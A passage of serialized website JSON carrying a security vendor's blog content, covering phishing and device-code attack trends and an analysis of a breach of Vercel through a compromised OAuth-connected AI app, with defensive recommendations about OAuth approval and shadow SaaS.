:62744,"value":1738,"nodeType":865},{},[],{"entries":62746},{"hyperlink":62747,"inline":62748,"block":62749},[],[],[62750,62756,62770,62797,62803,62845],{"sys":62751,"__typename":1747,"title":62752,"caption":62752,"layoutMode":59,"file":62753},{"id":10184},"Risk Matrix-style risk modeling versus Loss Exceedance Curve.",{"url":62754,"width":1759,"height":62755},"https://images.ctfassets.net/y1cdw1ablpvd/2bkhvxg1zeLZnrTyzQXQjd/58cfb711a8825b5861a47ef18db8b661/image1.png",1033,{"sys":62757,"__typename":9270,"content":62758,"name":62769,"title":59},{"id":10301},{"json":62759},{"nodeType":1739,"data":62760,"content":62761},{},[62762],{"nodeType":866,"data":62763,"content":62764},{},[62765],{"nodeType":865,"value":62766,"marks":62767,"data":62768},"Models that estimate TEF without factoring in browser-borne attacks are systemically undercounting. One key example of this is email-delivered phishing data. Roughly 1 in 3 phishing payloads intercepted by Push are delivered outside of email, meaning an email-only risk assessment is missing the attacks happening over channels like social media, search ads, and messaging apps that most risk models ignore entirely — places where the success chance is far higher because of the lack of control (and because users don't expect it). ",[],{},"CISO data problem IB1",{"sys":62771,"__typename":9270,"content":62772,"name":62796,"title":59},{"id":10354},{"json":62773},{"nodeType":1739,"data":62774,"content":62775},{},[62776],{"nodeType":866,"data":62777,"content":62778},{},[62779,62784,62791],{"nodeType":865,"value":62780,"marks":62781,"data":62783},"There are many examples of ghost logins being exploited by attackers in the wild, but the landmark case remains 2024's ",[62782],{"type":961},{},{"nodeType":882,"data":62785,"content":62786},{"uri":3904},[62787],{"nodeType":865,"value":3909,"marks":62788,"data":62790},[62789],{"type":961},{},{"nodeType":865,"value":62792,"marks":62793,"data":62795},", in which 165 organizations were breached using compromised credentials that had been sitting online since 2020. MFA was missing in every case. ",[62794],{"type":961},{},"CISO data problem IB3",{"sys":62798,"__typename":1747,"title":62799,"caption":62799,"layoutMode":59,"file":62800},{"id":10360},"Data from Push login telemetry across customer environments.",{"url":62801,"width":5628,"height":62802},"https://images.ctfassets.net/y1cdw1ablpvd/67iyvaMRSinyWAPqNFRity/5650febed866df4656160006d7415588/Frame_1__2_.png",496,{"sys":62804,"__typename":9270,"content":62805,"name":62844,"title":59},{"id":10541},{"json":62806},{"nodeType":1739,"data":62807,"content":62808},{},[62809,62826],{"nodeType":866,"data":62810,"content":62811},{},[62812,62815,62822],{"nodeType":865,"value":1381,"marks":62813,"data":62814},[],{},{"nodeType":882,"data":62816,"content":62817},{"uri":1384},[62818],{"nodeType":865,"value":62819,"marks":62820,"data":62821},"37x increase in device code phishing attacks since the start of 2026",[],{},{"nodeType":865,"value":62823,"marks":62824,"data":62825},", with at least 12 distinct kits now offering the technique, while established AiTM vendors like Tycoon are now adding authorization-focused options alongside their existing session token and credential harvesting capabilities. ",[],{},{"nodeType":866,"data":62827,"content":62828},{},[62829,62833,62840],{"nodeType":865,"value":62830,"marks":62831,"data":62832},"Device code phishing has featured heavily in ",[],{},{"nodeType":882,"data":62834,"content":62835},{"uri":4236},[62836],{"nodeType":865,"value":62837,"marks":62838,"data":62839},"ShinyHunters campaigns",[],{},{"nodeType":865,"value":62841,"marks":62842,"data":62843}," in 2025 and 2026 along with AiTM phishing and OAuth token abuse, often paired with voice-based lure delivery that misses traditional endpoint controls (but inevitably leads the victim to a webpage in the browser where the payload is delivered). ",[],{},"CISO data problem IB2",{"sys":62846,"__typename":1747,"title":62847,"caption":62848,"layoutMode":59,"file":62849},{"id":10573},"Precision improvements with browser telemetry.","Precision risk assessment improvements with browser telemetry.",{"url":62850,"width":62851,"height":62852},"https://images.ctfassets.net/y1cdw1ablpvd/1hpJGD6oVLcvalCTuFBia3/547b689a199b5b4ac3b2e7ddb9f3079d/blog-inline-fair-model-v4_1.png",2200,1520,{"items":62854},[],{},"Why modern attack data is missing in your threat analysis",{"items":62858},[62859,63692,64450],{"__typename":1788,"sys":62860,"content":62861,"title":40383,"synopsis":40384,"hashTags":59,"publishedDate":19780,"slug":40385,"tagsCollection":63682,"authorsCollection":63688},{"id":39422},{"json":62862},{"data":62863,"content":62864,"nodeType":1739},{},[62865,62887,62911,62944,62977,62982,62992,62995,63002,63044,63050,63069,63074,63077,63084,63108,63114,63121,63126,63129,63136,63142,63157,63163,63196,63202,63205,63212,63227,63269,63272,63279,63294,63309,63316,63322,63332,63342,63352,63362,63377,63384,63390,63393,63399,63405,63420,63423,63430,63445,63676],{"data":62866,"content":62867,"nodeType":866},{},[62868,62871,62877,62880,62884],{"data":62869,"marks":62870,"value":39433,"nodeType":865},{},[],{"data":62872,"content":62873,"nodeType":882},{"uri":8759},[62874],{"data":62875,"marks":62876,"value":19437,"nodeType":865},{},[],{"data":62878,"marks":62879,"value":39443,"nodeType":865},{},[],{"data":62881,"marks":62882,"value":39448,"nodeType":865},{},[62883],{"type":961},{"data":62885,"marks":62886,"value":39452,"nodeType":865},{},[],{"data":62888,"content":62889,"nodeType":866},{},[62890,62893,62899,62902,62908],{"data":62891,"marks":62892,"value":39459,"nodeType":865},{},[],{"data":62894,"content":62895,"nodeType":882},{"uri":39462},[62896],{"data":62897,"marks":62898,"value":39467,"nodeType":865},{},[],{"data":62900,"marks":62901,"value":39471,"nodeType":865},{},[],{"data":62903,"content":62904,"nodeType":882},{"uri":39474},[62905],{"data":62906,"marks":62907,"value":39479,"nodeType":865},{},[],{"data":62909,"marks":62910,"value":39483,"nodeType":865},{},[],{"data":62912,"content":62913,"nodeType":866},{},[62914,62917,62923,62926,62932,62935,62941],{"data":62915,"marks":62916,"value":39490,"nodeType":865},{},[],{"data":62918,"content":62919,"nodeType":882},{"uri":39493},[62920],{"data":62921,"marks":62922,"value":39498,"nodeType":865},{},[],{"data":62924,"marks":62925,"value":39502,"nodeType":865},{},[],{"data":62927,"content":62928,"nodeType":882},{"uri":39505},[62929],{"data":62930,"marks":62931,"value":39510,"nodeType":865},{},[],{"data":62933,"marks":62934,"value":39514,"nodeType":865},{},[],{"data":62936,"content":62937,"nodeType":882},{"uri":39517},[62938],{"data":62939,"marks":62940,"value":39522,"nodeType":865},{},[],{"data":62942,"marks":62943,"value":39526,"nodeType":865},{},[],{"data":62945,"content":62946,"nodeType":866},{},[62947,62950,62956,62959,62965,62968,62974],{"data":62948,"marks":62949,"value":39533,"nodeType":865},{},[],{"data":62951,"content":62952,"nodeType":882},{"uri":39536},[62953],{"data":62954,"marks":62955,"value":39541,"nodeType":865},{},[],{"data":62957,"marks":62958,"value":39545,"nodeType":865},{},[],{"data":62960,"content":62961,"nodeType":882},{"uri":39548},[62962],{"data":62963,"marks":62964,"value":39553,"nodeType":865},{},[],{"data":62966,"marks":62967,"value":39557,"nodeType":865},{},[],{"data":62969,"content":62970,"nodeType":882},{"uri":39560},[62971],{"data":62972,"marks":62973,"value":39565,"nodeType":865},{},[],{"data":62975,"marks":62976,"value":39569,"nodeType":865},{},[],{"data":62978,"content":62981,"nodeType":925},{"target":62979},{"sys":62980},{"id":39574,"type":922,"linkType":923},[],{"data":62983,"content":62984,"nodeType":866},{},[62985,62989],{"data":62986,"marks":62987,"value":39583,"nodeType":865},{},[62988],{"type":961},{"data":62990,"marks":62991,"value":39587,"nodeType":865},{},[],{"data":62993,"content":62994,"nodeType":953},{},[],{"data":62996,"content":62997,"nodeType":963},{},[62998],{"data":62999,"marks":63000,"value":39598,"nodeType":865},{},[63001],{"type":961},{"data":63003,"content":63004,"nodeType":866},{},[63005,63008,63014,63017,63023,63026,63032,63035,63041],{"data":63006,"marks":63007,"value":39605,"nodeType":865},{},[],{"data":63009,"content":63010,"nodeType":882},{"uri":24060},[63011],{"data":63012,"marks":63013,"value":39612,"nodeType":865},{},[],{"data":63015,"marks":63016,"value":26083,"nodeType":865},{},[],{"data":63018,"content":63019,"nodeType":882},{"uri":39618},[63020],{"data":63021,"marks":63022,"value":39623,"nodeType":865},{},[],{"data":63024,"marks":63025,"value":38646,"nodeType":865},{},[],{"data":63027,"content":63028,"nodeType":882},{"uri":39505},[63029],{"data":63030,"marks":63031,"value":39633,"nodeType":865},{},[],{"data":63033,"marks":63034,"value":39637,"nodeType":865},{},[],{"data":63036,"content":63037,"nodeType":882},{"uri":12335},[63038],{"data":63039,"marks":63040,"value":39644,"nodeType":865},{},[],{"data":63042,"marks":63043,"value":1048,"nodeType":865},{},[],{"data":63045,"content":63046,"nodeType":866},{},[63047],{"data":63048,"marks":63049,"value":39654,"nodeType":865},{},[],{"data":63051,"content":63052,"nodeType":866},{},[63053,63056,63062,63065],{"data":63054,"marks":63055,"value":39661,"nodeType":865},{},[],{"data":63057,"content":63058,"nodeType":882},{"uri":12335},[63059],{"data":63060,"marks":63061,"value":39668,"nodeType":865},{},[],{"data":63063,"marks":63064,"value":39672,"nodeType":865},{},[],{"data":63066,"marks":63067,"value":39677,"nodeType":865},{},[63068],{"type":961},{"data":63070,"content":63073,"nodeType":925},{"target":63071},{"sys":63072},{"id":39682,"type":922,"linkType":923},[],{"data":63075,"content":63076,"nodeType":953},{},[],{"data":63078,"content":63079,"nodeType":963},{},[63080],{"data":63081,"marks":63082,"value":39694,"nodeType":865},{},[63083],{"type":961},{"data":63085,"content":63086,"nodeType":866},{},[63087,63090,63096,63099,63105],{"data":63088,"marks":63089,"value":873,"nodeType":865},{},[],{"data":63091,"content":63092,"nodeType":882},{"uri":19454},[63093],{"data":63094,"marks":63095,"value":39707,"nodeType":865},{},[],{"data":63097,"marks":63098,"value":39711,"nodeType":865},{},[],{"data":63100,"content":63101,"nodeType":882},{"uri":39517},[63102],{"data":63103,"marks":63104,"value":39718,"nodeType":865},{},[],{"data":63106,"marks":63107,"value":39722,"nodeType":865},{},[],{"data":63109,"content":63110,"nodeType":866},{},[63111],{"data":63112,"marks":63113,"value":39729,"nodeType":865},{},[],{"data":63115,"content":63116,"nodeType":866},{},[63117],{"data":63118,"marks":63119,"value":39737,"nodeType":865},{},[63120],{"type":961},{"data":63122,"content":63125,"nodeType":925},{"target":63123},{"sys":63124},{"id":39742,"type":922,"linkType":923},[],{"data":63127,"content":63128,"nodeType":953},{},[],{"data":63130,"content":63131,"nodeType":963},{},[63132],{"data":63133,"marks":63134,"value":39754,"nodeType":865},{},[63135],{"type":961},{"data":63137,"content":63138,"nodeType":866},{},[63139],{"data":63140,"marks":63141,"value":39761,"nodeType":865},{},[],{"data":63143,"content":63144,"nodeType":866},{},[63145,63148,63154],{"data":63146,"marks":63147,"value":873,"nodeType":865},{},[],{"data":63149,"content":63150,"nodeType":882},{"uri":39770},[63151],{"data":63152,"marks":63153,"value":39775,"nodeType":865},{},[],{"data":63155,"marks":63156,"value":39779,"nodeType":865},{},[],{"data":63158,"content":63159,"nodeType":866},{},[63160],{"data":63161,"marks":63162,"value":39786,"nodeType":865},{},[],{"data":63164,"content":63165,"nodeType":866},{},[63166,63169,63175,63178,63184,63187,63193],{"data":63167,"marks":63168,"value":39793,"nodeType":865},{},[],{"data":63170,"content":63171,"nodeType":882},{"uri":39796},[63172],{"data":63173,"marks":63174,"value":39801,"nodeType":865},{},[],{"data":63176,"marks":63177,"value":39805,"nodeType":865},{},[],{"data":63179,"content":63180,"nodeType":882},{"uri":39808},[63181],{"data":63182,"marks":63183,"value":39813,"nodeType":865},{},[],{"data":63185,"marks":63186,"value":39817,"nodeType":865},{},[],{"data":63188,"content":63189,"nodeType":882},{"uri":3288},[63190],{"data":63191,"marks":63192,"value":39824,"nodeType":865},{},[],{"data":63194,"marks":63195,"value":39828,"nodeType":865},{},[],{"data":63197,"content":63198,"nodeType":866},{},[63199],{"data":63200,"marks":63201,"value":39835,"nodeType":865},{},[],{"data":63203,"content":63204,"nodeType":953},{},[],{"data":63206,"content":63207,"nodeType":963},{},[63208],{"data":63209,"marks":63210,"value":39846,"nodeType":865},{},[63211],{"type":961},{"data":63213,"content":63214,"nodeType":866},{},[63215,63218,63224],{"data":63216,"marks":63217,"value":39853,"nodeType":865},{},[],{"data":63219,"content":63220,"nodeType":882},{"uri":39856},[63221],{"data":63222,"marks":63223,"value":39861,"nodeType":865},{},[],{"data":63225,"marks":63226,"value":39865,"nodeType":865},{},[],{"data":63228,"content":63229,"nodeType":866},{},[63230,63233,63239,63242,63248,63251,63257,63260,63266],{"data":63231,"marks":63232,"value":39872,"nodeType":865},{},[],{"data":63234,"content":63235,"nodeType":882},{"uri":39875},[63236],{"data":63237,"marks":63238,"value":39880,"nodeType":865},{},[],{"data":63240,"marks":63241,"value":39884,"nodeType":865},{},[],{"data":63243,"content":63244,"nodeType":882},{"uri":39887},[63245],{"data":63246,"marks":63247,"value":39892,"nodeType":865},{},[],{"data":63249,"marks":63250,"value":39896,"nodeType":865},{},[],{"data":63252,"content":63253,"nodeType":882},{"uri":39899},[63254],{"data":63255,"marks":63256,"value":39904,"nodeType":865},{},[],{"data":63258,"marks":63259,"value":39908,"nodeType":865},{},[],{"data":63261,"content":63262,"nodeType":882},{"uri":39911},[63263],{"data":63264,"marks":63265,"value":39916,"nodeType":865},{},[],{"data":63267,"marks":63268,"value":39920,"nodeType":865},{},[],{"data":63270,"content":63271,"nodeType":953},{},[],{"data":63273,"content":63274,"nodeType":963},{},[63275],{"data":63276,"marks":63277,"value":39931,"nodeType":865},{},[63278],{"type":961},{"data":63280,"content":63281,"nodeType":866},{},[63282,63285,63291],{"data":63283,"marks":63284,"value":39938,"nodeType":865},{},[],{"data":63286,"content":63287,"nodeType":882},{"uri":1384},[63288],{"data":63289,"marks":63290,"value":39945,"nodeType":865},{},[],{"data":63292,"marks":63293,"value":39949,"nodeType":865},{},[],{"data":63295,"content":63296,"nodeType":866},{},[63297,63300,63306],{"data":63298,"marks":63299,"value":39956,"nodeType":865},{},[],{"data":63301,"content":63302,"nodeType":882},{"uri":39959},[63303],{"data":63304,"marks":63305,"value":315,"nodeType":865},{},[],{"data":63307,"marks":63308,"value":39967,"nodeType":865},{},[],{"data":63310,"content":63311,"nodeType":1458},{},[63312],{"data":63313,"marks":63314,"value":3604,"nodeType":865},{},[63315],{"type":961},{"data":63317,"content":63318,"nodeType":866},{},[63319],{"data":63320,"marks":63321,"value":39981,"nodeType":865},{},[],{"data":63323,"content":63324,"nodeType":866},{},[63325,63329],{"data":63326,"marks":63327,"value":39989,"nodeType":865},{},[63328],{"type":961},{"data":63330,"marks":63331,"value":39993,"nodeType":865},{},[],{"data":63333,"content":63334,"nodeType":866},{},[63335,63339],{"data":63336,"marks":63337,"value":40001,"nodeType":865},{},[63338],{"type":961},{"data":63340,"marks":63341,"value":40005,"nodeType":865},{},[],{"data":63343,"content":63344,"nodeType":866},{},[63345,63349],{"data":63346,"marks":63347,"value":40013,"nodeType":865},{},[63348],{"type":961},{"data":63350,"marks":63351,"value":40017,"nodeType":865},{},[],{"data":63353,"content":63354,"nodeType":866},{},[63355,63359],{"data":63356,"marks":63357,"value":40025,"nodeType":865},{},[63358],{"type":961},{"data":63360,"marks":63361,"value":40029,"nodeType":865},{},[],{"data":63363,"content":63364,"nodeType":866},{},[63365,63368,63374],{"data":63366,"marks":63367,"value":21,"nodeType":865},{},[],{"data":63369,"content":63370,"nodeType":882},{"uri":5481},[63371],{"data":63372,"marks":63373,"value":40042,"nodeType":865},{},[],{"data":63375,"marks":63376,"value":21,"nodeType":865},{},[],{"data":63378,"content":63379,"nodeType":1458},{},[63380],{"data":63381,"marks":63382,"value":40053,"nodeType":865},{},[63383],{"type":961},{"data":63385,"content":63386,"nodeType":866},{},[63387],{"data":63388,"marks":63389,"value":40060,"nodeType":865},{},[],{"data":63391,"content":63392,"nodeType":953},{},[],{"data":63394,"content":63395,"nodeType":866},{},[63396],{"data":63397,"marks":63398,"value":5006,"nodeType":865},{},[],{"data":63400,"content":63401,"nodeType":866},{},[63402],{"data":63403,"marks":63404,"value":1718,"nodeType":865},{},[],{"data":63406,"content":63407,"nodeType":866},{},[63408,63411,63417],{"data":63409,"marks":63410,"value":21,"nodeType":865},{},[],{"data":63412,"content":63413,"nodeType":882},{"uri":13728},[63414],{"data":63415,"marks":63416,"value":2812,"nodeType":865},{},[],{"data":63418,"marks":63419,"value":21,"nodeType":865},{},[],{"data":63421,"content":63422,"nodeType":953},{},[],{"data":63424,"content":63425,"nodeType":963},{},[63426],{"data":63427,"marks":63428,"value":40101,"nodeType":865},{},[63429],{"type":961},{"data":63431,"content":63432,"nodeType":866},{},[63433,63436,63442],{"data":63434,"marks":63435,"value":40108,"nodeType":865},{},[],{"data":63437,"content":63438,"nodeType":882},{"uri":8759},[63439],{"data":63440,"marks":63441,"value":40115,"nodeType":865},{},[],{"data":63443,"marks":63444,"value":40119,"nodeType":865},{},[],{"data":63446,"content":63447,"nodeType":2396},{},[63448,63491,63547,63590,63633],{"data":63449,"content":63450,"nodeType":1869},{},[63451,63461,63471,63481],{"data":63452,"content":63453,"nodeType":1835},{},[63454],{"data":63455,"content":63456,"nodeType":866},{},[63457],{"data":63458,"marks":63459,"value":40136,"nodeType":865},{},[63460],{"type":961},{"data":63462,"content":63463,"nodeType":1835},{},[63464],{"data":63465,"content":63466,"nodeType":866},{},[63467],{"data":63468,"marks":63469,"value":40147,"nodeType":865},{},[63470],{"type":961},{"data":63472,"content":63473,"nodeType":1835},{},[63474],{"data":63475,"content":63476,"nodeType":866},{},[63477],{"data":63478,"marks":63479,"value":40158,"nodeType":865},{},[63480],{"type":961},{"data":63482,"content":63483,"nodeType":1835},{},[63484],{"data":63485,"content":63486,"nodeType":866},{},[63487],{"data":63488,"marks":63489,"value":40169,"nodeType":865},{},[63490],{"type":961},{"data":63492,"content":63493,"nodeType":1869},{},[63494,63514,63523,63532],{"data":63495,"content":63496,"nodeType":1835},{},[63497],{"data":63498,"content":63499,"nodeType":866},{},[63500,63504,63507,63511],{"data":63501,"marks":63502,"value":40183,"nodeType":865},{},[63503],{"type":961},{"data":63505,"marks":63506,"value":40187,"nodeType":865},{},[],{"data":63508,"marks":63509,"value":40192,"nodeType":865},{},[63510],{"type":961},{"data":63512,"marks":63513,"value":40196,"nodeType":865},{},[],{"data":63515,"content":63516,"nodeType":1835},{},[63517],{"data":63518,"content":63519,"nodeType":866},{},[63520],{"data":63521,"marks":63522,"value":40206,"nodeType":865},{},[],{"data":63524,"content":63525,"nodeType":1835},{},[63526],{"data":63527,"content":63528,"nodeType":866},{},[63529],{"data":63530,"marks":63531,"value":40216,"nodeType":865},{},[],{"data":63533,"content":63534,"nodeType":1835},{},[63535,63541],{"data":63536,"content":63537,"nodeType":866},{},[63538],{"data":63539,"marks":63540,"value":40226,"nodeType":865},{},[],{"data":63542,"content":63543,"nodeType":866},{},[63544],{"data":63545,"marks":63546,"value":40233,"nodeType":865},{},[],{"data":63548,"content":63549,"nodeType":1869},{},[63550,63563,63572,63581],{"data":63551,"content":63552,"nodeType":1835},{},[63553],{"data":63554,"content":63555,"nodeType":866},{},[63556,63560],{"data":63557,"marks":63558,"value":40247,"nodeType":865},{},[63559],{"type":961},{"data":63561,"marks":63562,"value":40251,"nodeType":865},{},[],{"data":63564,"content":63565,"nodeType":1835},{},[63566],{"data":63567,"content":63568,"nodeType":866},{},[63569],{"data":63570,"marks":63571,"value":40261,"nodeType":865},{},[],{"data":63573,"content":63574,"nodeType":1835},{},[63575],{"data":63576,"content":63577,"nodeType":866},{},[63578],{"data":63579,"marks":63580,"value":40271,"nodeType":865},{},[],{"data":63582,"content":63583,"nodeType":1835},{},[63584],{"data":63585,"content":63586,"nodeType":866},{},[63587],{"data":63588,"marks":63589,"value":40281,"nodeType":865},{},[],{"data":63591,"content":63592,"nodeType":1869},{},[63593,63606,63615,63624],{"data":63594,"content":63595,"nodeType":1835},{},[63596],{"data":63597,"content":63598,"nodeType":866},{},[63599,63603],{"data":63600,"marks":63601,"value":40295,"nodeType":865},{},[63602],{"type":961},{"data":63604,"marks":63605,"value":40299,"nodeType":865},{},[],{"data":63607,"content":63608,"nodeType":1835},{},[63609],{"data":63610,"content":63611,"nodeType":866},{},[63612],{"data":63613,"marks":63614,"value":40309,"nodeType":865},{},[],{"data":63616,"content":63617,"nodeType":1835},{},[63618],{"data":63619,"content":63620,"nodeType":866},{},[63621],{"data":63622,"marks":63623,"value":40319,"nodeType":865},{},[],{"data":63625,"content":63626,"nodeType":1835},{},[63627],{"data":63628,"content":63629,"nodeType":866},{},[63630],{"data":63631,"marks":63632,"value":40329,"nodeType":865},{},[],{"data":63634,"content":63635,"nodeType":1869},{},[63636,63649,63658,63667],{"data":63637,"content":63638,"nodeType":1835},{},[63639],{"data":63640,"content":63641,"nodeType":866},{},[63642,63646],{"data":63643,"marks":63644,"value":40343,"nodeType":865},{},[63645],{"type":961},{"data":63647,"marks":63648,"value":40347,"nodeType":865},{},[],{"data":63650,"content":63651,"nodeType":1835},{},[63652],{"data":63653,"content":63654,"nodeType":866},{},[63655],{"data":63656,"marks":63657,"value":40206,"nodeType":865},{},[],{"data":63659,"content":63660,"nodeType":1835},{},[63661],{"data":63662,"content":63663,"nodeType":866},{},[63664],{"data":63665,"marks":63666,"value":40366,"nodeType":865},{},[],{"data":63668,"content":63669,"nodeType":1835},{},[63670],{"data":63671,"content":63672,"nodeType":866},{},[63673],{"data":63674,"marks":63675,"value":40376,"nodeType":865},{},[],{"data":63677,"content":63678,"nodeType":866},{},[63679],{"data":63680,"marks":63681,"value":21,"nodeType":865},{},[],{"items":63683},[63684,63686],{"sys":63685,"name":11426},{"id":11425},{"sys":63687,"name":342},{"id":8410},{"items":63689},[63690],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":63691},{"url":11434},{"__typename":1788,"sys":63693,"content":63695,"title":64436,"synopsis":64437,"hashTags":59,"publishedDate":64438,"slug":64439,"tagsCollection":64440,"authorsCollection":64446},{"id":63694},"Lq2AFQ8VG2rMEe4h2CYuH",{"json":63696},{"data":63697,"content":63698,"nodeType":1739},{},[63699,63726,63758,63765,63771,63774,63782,63789,63795,63814,63821,63829,63849,63865,63872,63879,63882,63890,63897,63904,63967,63974,63982,63994,64001,64008,64014,64022,64029,64036,64043,64050,64056,64064,64071,64156,64162,64165,64173,64180,64196,64203,64210,64216,64235,64238,64245,64252,64258,64276,64283,64290,64296,64299,64306,64313,64320,64326,64333,64339,64345,64370,64376,64388,64395,64402],{"data":63700,"content":63701,"nodeType":866},{},[63702,63706,63714,63718,63723],{"data":63703,"marks":63704,"value":63705,"nodeType":865},{},[],"This week, a user going by the name of “ShinyHunters” (though allegedly not ",{"data":63707,"content":63708,"nodeType":882},{"uri":8759},[63709],{"data":63710,"marks":63711,"value":63713,"nodeType":865},{},[63712],{"type":997},"actual ShinyHunters",{"data":63715,"marks":63716,"value":63717,"nodeType":865},{},[],", but someone imitating them in an attempt to trade off their credibility) posted on a breach forum claiming access keys, source code, and database data stolen from cloud development platform provider ",{"data":63719,"marks":63720,"value":63722,"nodeType":865},{},[63721],{"type":961},"Vercel",{"data":63724,"marks":63725,"value":22525,"nodeType":865},{},[],{"data":63727,"content":63728,"nodeType":866},{},[63729,63733,63742,63746,63754],{"data":63730,"marks":63731,"value":63732,"nodeType":865},{},[],"This happened because a Vercel employee had connected an AI app, Context.ai, into their Google Workspace tenant. When Context.ai was compromised — ",{"data":63734,"content":63736,"nodeType":882},{"uri":63735},"https://www.infostealers.com/article/breaking-vercel-breach-linked-to-infostealer-infection-at-context-ai/",[63737],{"data":63738,"marks":63739,"value":63741,"nodeType":865},{},[63740],{"type":997},"allegedly the result of an infostealer infection from an employee searching for Roblox cheats",{"data":63743,"marks":63744,"value":63745,"nodeType":865},{},[]," — the attacker was able to leverage OAuth tokens stored in Context.ai’s Supabase platform to access downstream customer accounts (pointing to a heavily permissioned victim, probably a developer, possibly even a ",{"data":63747,"content":63748,"nodeType":882},{"uri":35946},[63749],{"data":63750,"marks":63751,"value":63753,"nodeType":865},{},[63752],{"type":997},"personal device with access to corp credentials",{"data":63755,"marks":63756,"value":63757,"nodeType":865},{},[],"). ",{"data":63759,"content":63760,"nodeType":866},{},[63761],{"data":63762,"marks":63763,"value":63764,"nodeType":865},{},[],"This access included a Vercel employee’s Google Workspace account. This particular user had significant access to data and secrets in Vercel’s systems, including internal dashboards, employee records, API keys, NPM tokens, and GitHub tokens, which the attacker was able to exfiltrate, holding Vercel to ransom for $2 million. ",{"data":63766,"content":63770,"nodeType":925},{"target":63767},{"sys":63768},{"id":63769,"type":922,"linkType":923},"6Ft8aSnzfYVZ7j57mYeXgQ",[],{"data":63772,"content":63773,"nodeType":953},{},[],{"data":63775,"content":63776,"nodeType":963},{},[63777],{"data":63778,"marks":63779,"value":63781,"nodeType":865},{},[63780],{"type":961},"How did this happen, and what could have stopped it?",{"data":63783,"content":63784,"nodeType":866},{},[63785],{"data":63786,"marks":63787,"value":63788,"nodeType":865},{},[],"From Vercel’s perspective, this attack could have been avoided had their employees been blocked from adding new OAuth integrations without admin approval (a toggle in their Google admin panel, and an essential control in a well-configured environment). Or, if the integration had been flagged in a routine audit and removed. ",{"data":63790,"content":63794,"nodeType":925},{"target":63791},{"sys":63792},{"id":63793,"type":922,"linkType":923},"b5HFvY1m6RnuXL3a95jVt",[],{"data":63796,"content":63797,"nodeType":866},{},[63798,63802,63810],{"data":63799,"marks":63800,"value":63801,"nodeType":865},{},[],"It probably should have been removed, too. The particular OAuth app that was connected into the environment was a deprecated “AI Office Suite” product intended for consumer use. ",{"data":63803,"content":63805,"nodeType":882},{"uri":63804},"https://context.ai/security-update",[63806],{"data":63807,"marks":63808,"value":63809,"nodeType":865},{},[],"According to Context.ai",{"data":63811,"marks":63812,"value":63813,"nodeType":865},{},[],", Vercel aren’t even a registered customer — adding more evidence that this was probably the result of a self-service trial that was subsequently forgotten about. That consumer product has also since been replaced by an enterprise product. But for whatever reason, the access hadn’t been revoked (from either side). ",{"data":63815,"content":63816,"nodeType":866},{},[63817],{"data":63818,"marks":63819,"value":63820,"nodeType":865},{},[],"The elephant in the room is that Context.ai is an AI app. Most organizations are rightly nervous about employees adding unapproved AI SaaS into their environment. Having employees use shadow AI in the form of LLMs is one thing — users uploading sensitive data to unapproved apps or external tenants being the key concern. But OAuth grants are even more dangerous. Because if that app or vendor is compromised, the apps and accounts you’ve integrated it with are also at risk — which is what was exploited here. ",{"data":63822,"content":63823,"nodeType":1458},{},[63824],{"data":63825,"marks":63826,"value":63828,"nodeType":865},{},[63827],{"type":961},"Where’s the fault?",{"data":63830,"content":63831,"nodeType":866},{},[63832,63836,63845],{"data":63833,"marks":63834,"value":63835,"nodeType":865},{},[],"It’s easy to point fingers here. There are multiple control gaps and failures for both parties. Vercel should have disabled OAuth grants without admin approval, and regularly audited the connections in their environment. From a vendor's perspective, they could have also default applied a control that ",{"data":63837,"content":63839,"nodeType":882},{"uri":63838},"https://vercel.com/kb/bulletin/vercel-april-2026-security-incident",[63840],{"data":63841,"marks":63842,"value":63844,"nodeType":865},{},[63843],{"type":997},"prevents secret environment variables from being read",{"data":63846,"marks":63847,"value":63848,"nodeType":865},{},[]," — which would have significantly reduced the impact to Vercel customers from the data breach. ",{"data":63850,"content":63851,"nodeType":866},{},[63852,63856,63861],{"data":63853,"marks":63854,"value":63855,"nodeType":865},{},[],"Context.ai comes off worse. They could and should have had better separation of accounts and privileges — and if true, their users really shouldn’t be downloading Roblox scripts on devices they use for work access. It’s important to say ",{"data":63857,"marks":63858,"value":63860,"nodeType":865},{},[63859],{"type":944},"if true",{"data":63862,"marks":63863,"value":63864,"nodeType":865},{},[]," here, but the prospect of third parties accessing your environment from insecure devices that they use for gaming is the stuff of nightmares for enterprise security and compliance teams.",{"data":63866,"content":63867,"nodeType":866},{},[63868],{"data":63869,"marks":63870,"value":63871,"nodeType":865},{},[],"You definitely don’t want to be Context.ai in this scenario. The reputational harm could be pretty significant, and is a wake-up call for other SaaS vendors to check that their house is in order. But although Vercel have responded quickly and transparently to the incident, this could only really have happened as a result of technical and procedural control gaps on their end.",{"data":63873,"content":63874,"nodeType":866},{},[63875],{"data":63876,"marks":63877,"value":63878,"nodeType":865},{},[],"It’s worth taking a step back and looking at the bigger picture here — and how these issues might impact your organization too. ",{"data":63880,"content":63881,"nodeType":953},{},[],{"data":63883,"content":63884,"nodeType":963},{},[63885],{"data":63886,"marks":63887,"value":63889,"nodeType":865},{},[63888],{"type":961},"Shadow AI is still just shadow SaaS – but the AI scramble is a force multiplier",{"data":63891,"content":63892,"nodeType":866},{},[63893],{"data":63894,"marks":63895,"value":63896,"nodeType":865},{},[],"Shadow IT, and in particular shadow SaaS, is not a new problem. Most organizations run heavily (or exclusively) on SaaS, accessed in the browser, with hundreds of apps per enterprise. Unmanaged, self-adopted apps have been a thorn in the side of security teams for some time. ",{"data":63898,"content":63899,"nodeType":866},{},[63900],{"data":63901,"marks":63902,"value":63903,"nodeType":865},{},[],"There are essentially four kinds of shadow IT to be wary of in the context of AI apps:",{"data":63905,"content":63906,"nodeType":1049},{},[63907,63922,63937,63952],{"data":63908,"content":63909,"nodeType":1003},{},[63910],{"data":63911,"content":63912,"nodeType":866},{},[63913,63918],{"data":63914,"marks":63915,"value":63917,"nodeType":865},{},[63916],{"type":961},"Shadow apps:",{"data":63919,"marks":63920,"value":63921,"nodeType":865},{},[]," Apps that employees have signed up to and are using for business purposes without business approval. This includes apps signed up to with a corporate account or personal account. ",{"data":63923,"content":63924,"nodeType":1003},{},[63925],{"data":63926,"content":63927,"nodeType":866},{},[63928,63933],{"data":63929,"marks":63930,"value":63932,"nodeType":865},{},[63931],{"type":961},"Shadow tenants:",{"data":63934,"marks":63935,"value":63936,"nodeType":865},{},[]," Apps that employees are accessing with personal accounts, essentially creating shadow tenants outside of your organization’s control — even if you’ve approved the app 